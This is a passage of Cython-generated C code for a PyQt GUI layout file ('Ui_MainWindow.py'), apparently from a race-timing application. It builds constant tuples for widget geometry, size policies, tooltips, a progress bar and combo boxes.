item_0.setToolTip(0, "") * item_0.setStatusTip(0, "") * item_0.setWhatsThis(0, "") # <<<<<<<<<<<<<< * item_0.setCheckState(0, QtCore.Qt.Unchecked) * item_1 = QtWidgets.QTreeWidgetItem(item_0) */ __pyx_tuple__397 = PyTuple_Pack(2, __pyx_int_0, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__397)) __PYX_ERR(0, 618, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__397); __Pyx_GIVEREF(__pyx_tuple__397); /* "Ui_MainWindow.py":621 * item_0.setCheckState(0, QtCore.Qt.Unchecked) * item_1 = QtWidgets.QTreeWidgetItem(item_0) * self.RR_Categorie.topLevelItem(1).child(0).setText(0, "Mini") # <<<<<<<<<<<<<< * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") */ __pyx_tuple__398 = PyTuple_Pack(1, __pyx_int_1); if (unlikely(!__pyx_tuple__398)) __PYX_ERR(0, 621, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__398); __Pyx_GIVEREF(__pyx_tuple__398); __pyx_tuple__399 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__399)) __PYX_ERR(0, 621, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__399); __Pyx_GIVEREF(__pyx_tuple__399); __pyx_tuple__400 = PyTuple_Pack(2, __pyx_int_0, __pyx_n_u_Mini); if (unlikely(!__pyx_tuple__400)) __PYX_ERR(0, 621, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__400); __Pyx_GIVEREF(__pyx_tuple__400); /* "Ui_MainWindow.py":622 * item_1 = QtWidgets.QTreeWidgetItem(item_0) * self.RR_Categorie.topLevelItem(1).child(0).setText(0, "Mini") * item_1.setToolTip(0, "") # <<<<<<<<<<<<<< * item_1.setStatusTip(0, "") * item_1.setCheckState(0, QtCore.Qt.Unchecked) */ __pyx_tuple__401 = PyTuple_Pack(2, __pyx_int_0, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__401)) __PYX_ERR(0, 622, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__401); __Pyx_GIVEREF(__pyx_tuple__401); /* "Ui_MainWindow.py":623 * self.RR_Categorie.topLevelItem(1).child(0).setText(0, "Mini") * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") # <<<<<<<<<<<<<< * item_1.setCheckState(0, QtCore.Qt.Unchecked) * self.formLayout_3.setWidget(25, QtWidgets.QFormLayout.FieldRole, self.RR_Categorie) */ __pyx_tuple__402 = PyTuple_Pack(2, __pyx_int_0, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__402)) __PYX_ERR(0, 623, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__402); __Pyx_GIVEREF(__pyx_tuple__402); /* "Ui_MainWindow.py":628 * self.Tab_Container.addTab(self.T_Racer_Race, "") * self.T_RaceModel = QtWidgets.QWidget() * self.T_RaceModel.setObjectName("T_RaceModel") # <<<<<<<<<<<<<< * self.Tab_Container.addTab(self.T_RaceModel, "") * self.T_Race = QtWidgets.QWidget() */ __pyx_tuple__403 = PyTuple_Pack(1, __pyx_n_u_T_RaceModel); if (unlikely(!__pyx_tuple__403)) __PYX_ERR(0, 628, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__403); __Pyx_GIVEREF(__pyx_tuple__403); /* "Ui_MainWindow.py":631 * self.Tab_Container.addTab(self.T_RaceModel, "") * self.T_Race = QtWidgets.QWidget() * self.T_Race.setObjectName("T_Race") # <<<<<<<<<<<<<< * self.toolBox = QtWidgets.QToolBox(self.T_Race) * self.toolBox.setGeometry(QtCore.QRect(0, 0, 821, 531)) */ __pyx_tuple__404 = PyTuple_Pack(1, __pyx_n_u_T_Race); if (unlikely(!__pyx_tuple__404)) __PYX_ERR(0, 631, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__404); __Pyx_GIVEREF(__pyx_tuple__404); /* "Ui_MainWindow.py":633 * self.T_Race.setObjectName("T_Race") * self.toolBox = QtWidgets.QToolBox(self.T_Race) * self.toolBox.setGeometry(QtCore.QRect(0, 0, 821, 531)) # <<<<<<<<<<<<<< * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Maximum) * sizePolicy.setHorizontalStretch(0) */ __pyx_tuple__405 = PyTuple_Pack(4, __pyx_int_0, __pyx_int_0, __pyx_int_821, __pyx_int_531); if (unlikely(!__pyx_tuple__405)) __PYX_ERR(0, 633, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__405); __Pyx_GIVEREF(__pyx_tuple__405); /* "Ui_MainWindow.py":635 * self.toolBox.setGeometry(QtCore.QRect(0, 0, 821, 531)) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Maximum) * sizePolicy.setHorizontalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.toolBox.sizePolicy().hasHeightForWidth()) */ __pyx_tuple__406 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__406)) __PYX_ERR(0, 635, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__406); __Pyx_GIVEREF(__pyx_tuple__406); /* "Ui_MainWindow.py":636 * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Maximum) * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setHeightForWidth(self.toolBox.sizePolicy().hasHeightForWidth()) * self.toolBox.setSizePolicy(sizePolicy) */ __pyx_tuple__407 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__407)) __PYX_ERR(0, 636, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__407); __Pyx_GIVEREF(__pyx_tuple__407); /* "Ui_MainWindow.py":640 * self.toolBox.setSizePolicy(sizePolicy) * font = QtGui.QFont() * font.setPointSize(8) # <<<<<<<<<<<<<< * self.toolBox.setFont(font) * self.toolBox.setToolTip("") */ __pyx_tuple__408 = PyTuple_Pack(1, __pyx_int_8); if (unlikely(!__pyx_tuple__408)) __PYX_ERR(0, 640, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__408); __Pyx_GIVEREF(__pyx_tuple__408); /* "Ui_MainWindow.py":642 * font.setPointSize(8) * self.toolBox.setFont(font) * self.toolBox.setToolTip("") # <<<<<<<<<<<<<< * self.toolBox.setStatusTip("") * self.toolBox.setAccessibleName("") */ __pyx_tuple__409 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__409)) __PYX_ERR(0, 642, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__409); __Pyx_GIVEREF(__pyx_tuple__409); /* "Ui_MainWindow.py":643 * self.toolBox.setFont(font) * self.toolBox.setToolTip("") * self.toolBox.setStatusTip("") # <<<<<<<<<<<<<< * self.toolBox.setAccessibleName("") * self.toolBox.setAccessibleDescription("") */ __pyx_tuple__410 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__410)) __PYX_ERR(0, 643, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__410); __Pyx_GIVEREF(__pyx_tuple__410); /* "Ui_MainWindow.py":644 * self.toolBox.setToolTip("") * self.toolBox.setStatusTip("") * self.toolBox.setAccessibleName("") # <<<<<<<<<<<<<< * self.toolBox.setAccessibleDescription("") * self.toolBox.setObjectName("toolBox") */ __pyx_tuple__411 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__411)) __PYX_ERR(0, 644, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__411); __Pyx_GIVEREF(__pyx_tuple__411); /* "Ui_MainWindow.py":645 * self.toolBox.setStatusTip("") * self.toolBox.setAccessibleName("") * self.toolBox.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.toolBox.setObjectName("toolBox") * self.P_Race = QtWidgets.QWidget() */ __pyx_tuple__412 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__412)) __PYX_ERR(0, 645, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__412); __Pyx_GIVEREF(__pyx_tuple__412); /* "Ui_MainWindow.py":646 * self.toolBox.setAccessibleName("") * self.toolBox.setAccessibleDescription("") * self.toolBox.setObjectName("toolBox") # <<<<<<<<<<<<<< * self.P_Race = QtWidgets.QWidget() * self.P_Race.setGeometry(QtCore.QRect(0, 0, 821, 477)) */ __pyx_tuple__413 = PyTuple_Pack(1, __pyx_n_u_toolBox); if (unlikely(!__pyx_tuple__413)) __PYX_ERR(0, 646, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__413); __Pyx_GIVEREF(__pyx_tuple__413); /* "Ui_MainWindow.py":648 * self.toolBox.setObjectName("toolBox") * self.P_Race = QtWidgets.QWidget() * self.P_Race.setGeometry(QtCore.QRect(0, 0, 821, 477)) # <<<<<<<<<<<<<< * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum) * sizePolicy.setHorizontalStretch(0) */ __pyx_tuple__414 = PyTuple_Pack(4, __pyx_int_0, __pyx_int_0, __pyx_int_821, __pyx_int_477); if (unlikely(!__pyx_tuple__414)) __PYX_ERR(0, 648, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__414); __Pyx_GIVEREF(__pyx_tuple__414); /* "Ui_MainWindow.py":650 * self.P_Race.setGeometry(QtCore.QRect(0, 0, 821, 477)) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum) * sizePolicy.setHorizontalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.P_Race.sizePolicy().hasHeightForWidth()) */ __pyx_tuple__415 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__415)) __PYX_ERR(0, 650, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__415); __Pyx_GIVEREF(__pyx_tuple__415); /* "Ui_MainWindow.py":651 * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum) * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setHeightForWidth(self.P_Race.sizePolicy().hasHeightForWidth()) * self.P_Race.setSizePolicy(sizePolicy) */ __pyx_tuple__416 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__416)) __PYX_ERR(0, 651, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__416); __Pyx_GIVEREF(__pyx_tuple__416); /* "Ui_MainWindow.py":654 * sizePolicy.setHeightForWidth(self.P_Race.sizePolicy().hasHeightForWidth()) * self.P_Race.setSizePolicy(sizePolicy) * self.P_Race.setToolTip("") # <<<<<<<<<<<<<< * self.P_Race.setStatusTip("") * self.P_Race.setAccessibleName("") */ __pyx_tuple__417 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__417)) __PYX_ERR(0, 654, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__417); __Pyx_GIVEREF(__pyx_tuple__417); /* "Ui_MainWindow.py":655 * self.P_Race.setSizePolicy(sizePolicy) * self.P_Race.setToolTip("") * self.P_Race.setStatusTip("") # <<<<<<<<<<<<<< * self.P_Race.setAccessibleName("") * self.P_Race.setAccessibleDescription("") */ __pyx_tuple__418 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__418)) __PYX_ERR(0, 655, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__418); __Pyx_GIVEREF(__pyx_tuple__418); /* "Ui_MainWindow.py":656 * self.P_Race.setToolTip("") * self.P_Race.setStatusTip("") * self.P_Race.setAccessibleName("") # <<<<<<<<<<<<<< * self.P_Race.setAccessibleDescription("") * self.P_Race.setObjectName("P_Race") */ __pyx_tuple__419 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__419)) __PYX_ERR(0, 656, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__419); __Pyx_GIVEREF(__pyx_tuple__419); /* "Ui_MainWindow.py":657 * self.P_Race.setStatusTip("") * self.P_Race.setAccessibleName("") * self.P_Race.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.P_Race.setObjectName("P_Race") * self.verticalLayoutWidget_2 = QtWidgets.QWidget(self.P_Race) */ __pyx_tuple__420 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__420)) __PYX_ERR(0, 657, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__420); __Pyx_GIVEREF(__pyx_tuple__420); /* "Ui_MainWindow.py":658 * self.P_Race.setAccessibleName("") * self.P_Race.setAccessibleDescription("") * self.P_Race.setObjectName("P_Race") # <<<<<<<<<<<<<< * self.verticalLayoutWidget_2 = QtWidgets.QWidget(self.P_Race) * self.verticalLayoutWidget_2.setGeometry(QtCore.QRect(-1, -1, 801, 491)) */ __pyx_tuple__421 = PyTuple_Pack(1, __pyx_n_u_P_Race); if (unlikely(!__pyx_tuple__421)) __PYX_ERR(0, 658, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__421); __Pyx_GIVEREF(__pyx_tuple__421); /* "Ui_MainWindow.py":660 * self.P_Race.setObjectName("P_Race") * self.verticalLayoutWidget_2 = QtWidgets.QWidget(self.P_Race) * self.verticalLayoutWidget_2.setGeometry(QtCore.QRect(-1, -1, 801, 491)) # <<<<<<<<<<<<<< * self.verticalLayoutWidget_2.setObjectName("verticalLayoutWidget_2") * self.verticalLayout_P_Race = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_2) */ __pyx_tuple__422 = PyTuple_Pack(4, __pyx_int_neg_1, __pyx_int_neg_1, __pyx_int_801, __pyx_int_491); if (unlikely(!__pyx_tuple__422)) __PYX_ERR(0, 660, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__422); __Pyx_GIVEREF(__pyx_tuple__422); /* "Ui_MainWindow.py":661 * self.verticalLayoutWidget_2 = QtWidgets.QWidget(self.P_Race) * self.verticalLayoutWidget_2.setGeometry(QtCore.QRect(-1, -1, 801, 491)) * self.verticalLayoutWidget_2.setObjectName("verticalLayoutWidget_2") # <<<<<<<<<<<<<< * self.verticalLayout_P_Race = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_2) * self.verticalLayout_P_Race.setSizeConstraint(QtWidgets.QLayout.SetMaximumSize) */ __pyx_tuple__423 = PyTuple_Pack(1, __pyx_n_u_verticalLayoutWidget_2); if (unlikely(!__pyx_tuple__423)) __PYX_ERR(0, 661, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__423); __Pyx_GIVEREF(__pyx_tuple__423); /* "Ui_MainWindow.py":664 * self.verticalLayout_P_Race = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_2) * self.verticalLayout_P_Race.setSizeConstraint(QtWidgets.QLayout.SetMaximumSize) * self.verticalLayout_P_Race.setContentsMargins(0, 0, 0, 0) # <<<<<<<<<<<<<< * self.verticalLayout_P_Race.setSpacing(1) * self.verticalLayout_P_Race.setObjectName("verticalLayout_P_Race") */ __pyx_tuple__424 = PyTuple_Pack(4, __pyx_int_0, __pyx_int_0, __pyx_int_0, __pyx_int_0); if (unlikely(!__pyx_tuple__424)) __PYX_ERR(0, 664, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__424); __Pyx_GIVEREF(__pyx_tuple__424); /* "Ui_MainWindow.py":665 * self.verticalLayout_P_Race.setSizeConstraint(QtWidgets.QLayout.SetMaximumSize) * self.verticalLayout_P_Race.setContentsMargins(0, 0, 0, 0) * self.verticalLayout_P_Race.setSpacing(1) # <<<<<<<<<<<<<< * self.verticalLayout_P_Race.setObjectName("verticalLayout_P_Race") * self.horizontalLayout_4 = QtWidgets.QHBoxLayout() */ __pyx_tuple__425 = PyTuple_Pack(1, __pyx_int_1); if (unlikely(!__pyx_tuple__425)) __PYX_ERR(0, 665, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__425); __Pyx_GIVEREF(__pyx_tuple__425); /* "Ui_MainWindow.py":666 * self.verticalLayout_P_Race.setContentsMargins(0, 0, 0, 0) * self.verticalLayout_P_Race.setSpacing(1) * self.verticalLayout_P_Race.setObjectName("verticalLayout_P_Race") # <<<<<<<<<<<<<< * self.horizontalLayout_4 = QtWidgets.QHBoxLayout() * self.horizontalLayout_4.setSizeConstraint(QtWidgets.QLayout.SetMinimumSize) */ __pyx_tuple__426 = PyTuple_Pack(1, __pyx_n_u_verticalLayout_P_Race); if (unlikely(!__pyx_tuple__426)) __PYX_ERR(0, 666, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__426); __Pyx_GIVEREF(__pyx_tuple__426); /* "Ui_MainWindow.py":669 * self.horizontalLayout_4 = QtWidgets.QHBoxLayout() * self.horizontalLayout_4.setSizeConstraint(QtWidgets.QLayout.SetMinimumSize) * self.horizontalLayout_4.setContentsMargins(1, 1, 1, 1) # <<<<<<<<<<<<<< * self.horizontalLayout_4.setSpacing(2) * self.horizontalLayout_4.setObjectName("horizontalLayout_4") */ __pyx_tuple__427 = PyTuple_Pack(4, __pyx_int_1, __pyx_int_1, __pyx_int_1, __pyx_int_1); if (unlikely(!__pyx_tuple__427)) __PYX_ERR(0, 669, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__427); __Pyx_GIVEREF(__pyx_tuple__427); /* "Ui_MainWindow.py":670 * self.horizontalLayout_4.setSizeConstraint(QtWidgets.QLayout.SetMinimumSize) * self.horizontalLayout_4.setContentsMargins(1, 1, 1, 1) * self.horizontalLayout_4.setSpacing(2) # <<<<<<<<<<<<<< * self.horizontalLayout_4.setObjectName("horizontalLayout_4") * self.PB_TimeRace = QtWidgets.QProgressBar(self.verticalLayoutWidget_2) */ __pyx_tuple__428 = PyTuple_Pack(1, __pyx_int_2); if (unlikely(!__pyx_tuple__428)) __PYX_ERR(0, 670, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__428); __Pyx_GIVEREF(__pyx_tuple__428); /* "Ui_MainWindow.py":671 * self.horizontalLayout_4.setContentsMargins(1, 1, 1, 1) * self.horizontalLayout_4.setSpacing(2) * self.horizontalLayout_4.setObjectName("horizontalLayout_4") # <<<<<<<<<<<<<< * self.PB_TimeRace = QtWidgets.QProgressBar(self.verticalLayoutWidget_2) * self.PB_TimeRace.setEnabled(True) */ __pyx_tuple__429 = PyTuple_Pack(1, __pyx_n_u_horizontalLayout_4); if (unlikely(!__pyx_tuple__429)) __PYX_ERR(0, 671, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__429); __Pyx_GIVEREF(__pyx_tuple__429); /* "Ui_MainWindow.py":673 * self.horizontalLayout_4.setObjectName("horizontalLayout_4") * self.PB_TimeRace = QtWidgets.QProgressBar(self.verticalLayoutWidget_2) * self.PB_TimeRace.setEnabled(True) # <<<<<<<<<<<<<< * self.PB_TimeRace.setToolTip("") * self.PB_TimeRace.setStatusTip("") */ __pyx_tuple__430 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__430)) __PYX_ERR(0, 673, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__430); __Pyx_GIVEREF(__pyx_tuple__430); /* "Ui_MainWindow.py":674 * self.PB_TimeRace = QtWidgets.QProgressBar(self.verticalLayoutWidget_2) * self.PB_TimeRace.setEnabled(True) * self.PB_TimeRace.setToolTip("") # <<<<<<<<<<<<<< * self.PB_TimeRace.setStatusTip("") * self.PB_TimeRace.setAccessibleName("") */ __pyx_tuple__431 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__431)) __PYX_ERR(0, 674, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__431); __Pyx_GIVEREF(__pyx_tuple__431); /* "Ui_MainWindow.py":675 * self.PB_TimeRace.setEnabled(True) * self.PB_TimeRace.setToolTip("") * self.PB_TimeRace.setStatusTip("") # <<<<<<<<<<<<<< * self.PB_TimeRace.setAccessibleName("") * self.PB_TimeRace.setAccessibleDescription("") */ __pyx_tuple__432 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__432)) __PYX_ERR(0, 675, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__432); __Pyx_GIVEREF(__pyx_tuple__432); /* "Ui_MainWindow.py":676 * self.PB_TimeRace.setToolTip("") * self.PB_TimeRace.setStatusTip("") * self.PB_TimeRace.setAccessibleName("") # <<<<<<<<<<<<<< * self.PB_TimeRace.setAccessibleDescription("") * self.PB_TimeRace.setMaximum(1) */ __pyx_tuple__433 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__433)) __PYX_ERR(0, 676, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__433); __Pyx_GIVEREF(__pyx_tuple__433); /* "Ui_MainWindow.py":677 * self.PB_TimeRace.setStatusTip("") * self.PB_TimeRace.setAccessibleName("") * self.PB_TimeRace.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.PB_TimeRace.setMaximum(1) * self.PB_TimeRace.setProperty("value", 1) */ __pyx_tuple__434 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__434)) __PYX_ERR(0, 677, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__434); __Pyx_GIVEREF(__pyx_tuple__434); /* "Ui_MainWindow.py":678 * self.PB_TimeRace.setAccessibleName("") * self.PB_TimeRace.setAccessibleDescription("") * self.PB_TimeRace.setMaximum(1) # <<<<<<<<<<<<<< * self.PB_TimeRace.setProperty("value", 1) * self.PB_TimeRace.setTextVisible(True) */ __pyx_tuple__435 = PyTuple_Pack(1, __pyx_int_1); if (unlikely(!__pyx_tuple__435)) __PYX_ERR(0, 678, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__435); __Pyx_GIVEREF(__pyx_tuple__435); /* "Ui_MainWindow.py":679 * self.PB_TimeRace.setAccessibleDescription("") * self.PB_TimeRace.setMaximum(1) * self.PB_TimeRace.setProperty("value", 1) # <<<<<<<<<<<<<< * self.PB_TimeRace.setTextVisible(True) * self.PB_TimeRace.setFormat("Waiting for start") */ __pyx_tuple__436 = PyTuple_Pack(2, __pyx_n_u_value, __pyx_int_1); if (unlikely(!__pyx_tuple__436)) __PYX_ERR(0, 679, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__436); __Pyx_GIVEREF(__pyx_tuple__436); /* "Ui_MainWindow.py":680 * self.PB_TimeRace.setMaximum(1) * self.PB_TimeRace.setProperty("value", 1) * self.PB_TimeRace.setTextVisible(True) # <<<<<<<<<<<<<< * self.PB_TimeRace.setFormat("Waiting for start") * self.PB_TimeRace.setObjectName("PB_TimeRace") */ __pyx_tuple__437 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__437)) __PYX_ERR(0, 680, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__437); __Pyx_GIVEREF(__pyx_tuple__437); /* "Ui_MainWindow.py":681 * self.PB_TimeRace.setProperty("value", 1) * self.PB_TimeRace.setTextVisible(True) * self.PB_TimeRace.setFormat("Waiting for start") # <<<<<<<<<<<<<< * self.PB_TimeRace.setObjectName("PB_TimeRace") * self.horizontalLayout_4.addWidget(self.PB_TimeRace) */ __pyx_tuple__438 = PyTuple_Pack(1, __pyx_kp_u_Waiting_for_start); if (unlikely(!__pyx_tuple__438)) __PYX_ERR(0, 681, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__438); __Pyx_GIVEREF(__pyx_tuple__438); /* "Ui_MainWindow.py":682 * self.PB_TimeRace.setTextVisible(True) * self.PB_TimeRace.setFormat("Waiting for start") * self.PB_TimeRace.setObjectName("PB_TimeRace") # <<<<<<<<<<<<<< * self.horizontalLayout_4.addWidget(self.PB_TimeRace) * self.B_Define = QtWidgets.QComboBox(self.verticalLayoutWidget_2) */ __pyx_tuple__439 = PyTuple_Pack(1, __pyx_n_u_PB_TimeRace); if (unlikely(!__pyx_tuple__439)) __PYX_ERR(0, 682, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__439); __Pyx_GIVEREF(__pyx_tuple__439); /* "Ui_MainWindow.py":685 * self.horizontalLayout_4.addWidget(self.PB_TimeRace) * self.B_Define = QtWidgets.QComboBox(self.verticalLayoutWidget_2) * self.B_Define.setMaximumSize(QtCore.QSize(20, 16777215)) # <<<<<<<<<<<<<< * self.B_Define.setToolTip("") * self.B_Define.setStatusTip("") */ __pyx_tuple__440 = PyTuple_Pack(2, __pyx_int_20, __pyx_int_16777215); if (unlikely(!__pyx_tuple__440)) __PYX_ERR(0, 685, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__440); __Pyx_GIVEREF(__pyx_tuple__440); /* "Ui_MainWindow.py":686 * self.B_Define = QtWidgets.QComboBox(self.verticalLayoutWidget_2) * self.B_Define.setMaximumSize(QtCore.QSize(20, 16777215)) * self.B_Define.setToolTip("") # <<<<<<<<<<<<<< * self.B_Define.setStatusTip("") * self.B_Define.setAccessibleName("") */ __pyx_tuple__441 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__441)) __PYX_ERR(0, 686, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__441); __Pyx_GIVEREF(__pyx_tuple__441); /* "Ui_MainWindow.py":687 * self.B_Define.setMaximumSize(QtCore.QSize(20, 16777215)) * self.B_Define.setToolTip("") * self.B_Define.setStatusTip("") # <<<<<<<<<<<<<< * self.B_Define.setAccessibleName("") * self.B_Define.setAccessibleDescription("") */ __pyx_tuple__442 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__442)) __PYX_ERR(0, 687, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__442); __Pyx_GIVEREF(__pyx_tuple__442); /* "Ui_MainWindow.py":688 * self.B_Define.setToolTip("") * self.B_Define.setStatusTip("") * self.B_Define.setAccessibleName("") # <<<<<<<<<<<<<< * self.B_Define.setAccessibleDescription("") * self.B_Define.setFrame(True) */ __pyx_tuple__443 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__443)) __PYX_ERR(0, 688, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__443); __Pyx_GIVEREF(__pyx_tuple__443); /* "Ui_MainWindow.py":689 * self.B_Define.setStatusTip("") * self.B_Define.setAccessibleName("") * self.B_Define.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.B_Define.setFrame(True) * self.B_Define.setObjectName("B_Define") */ __pyx_tuple__444 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__444)) __PYX_ERR(0, 689, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__444); __Pyx_GIVEREF(__pyx_tuple__444); /* "Ui_MainWindow.py":690 * self.B_Define.setAccessibleName("") * self.B_Define.setAccessibleDescription("") * self.B_Define.setFrame(True) # <<<<<<<<<<<<<< * self.B_Define.setObjectName("B_Define") * self.B_Define.addItem("") */ __pyx_tuple__445 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__445)) __PYX_ERR(0, 690, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__445); __Pyx_GIVEREF(__pyx_tuple__445); /* "Ui_MainWindow.py":691 * self.B_Define.setAccessibleDescription("") * self.B_Define.setFrame(True) * self.B_Define.setObjectName("B_Define") # <<<<<<<<<<<<<< * self.B_Define.addItem("") * self.B_Define.addItem("") */ __pyx_tuple__446 = PyTuple_Pack(1, __pyx_n_u_B_Define); if (unlikely(!__pyx_tuple__446)) __PYX_ERR(0, 691, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__446); __Pyx_GIVEREF(__pyx_tuple__446); /* "Ui_MainWindow.py":692 * self.B_Define.setFrame(True) * self.B_Define.setObjectName("B_Define") * self.B_Define.addItem("") # <<<<<<<<<<<<<< * self.B_Define.addItem("") * self.B_Define.addItem("") */ __pyx_tuple__447 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__447)) __PYX_ERR(0, 692, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__447); __Pyx_GIVEREF(__pyx_tuple__447); /* "Ui_MainWindow.py":693 * self.B_Define.setObjectName("B_Define") * self.B_Define.addItem("") * self.B_Define.addItem("") # <<<<<<<<<<<<<< * self.B_Define.addItem("") * self.horizontalLayout_4.addWidget(self.B_Define) */ __pyx_tuple__448 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__448)) __PYX_ERR(0, 693, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__448); __Pyx_GIVEREF(__pyx_tuple__448); /* "Ui_MainWindow.py":694 * self.B_Define.addItem("") * self.B_Define.addItem("") * self.B_Define.addItem("") # <<<<<<<<<<<<<< * self.horizontalLayout_4.addWidget(self.B_Define) * self.B_Start = QtWidgets.QPushButton(self.verticalLayoutWidget_2) */ __pyx_tuple__449 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__449)) __PYX_ERR(0, 694, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__449); __Pyx_GIVEREF(__pyx_tuple__449); /* "Ui_MainWindow.py":697 * self.horizontalLayout_4.addWidget(self.B_Define) * self.B_Start = QtWidgets.QPushButton(self.verticalLayoutWidget_2) * self.B_Start.setToolTip("") # <<<<<<<<<<<<<< * self.B_Start.setStatusTip("") * 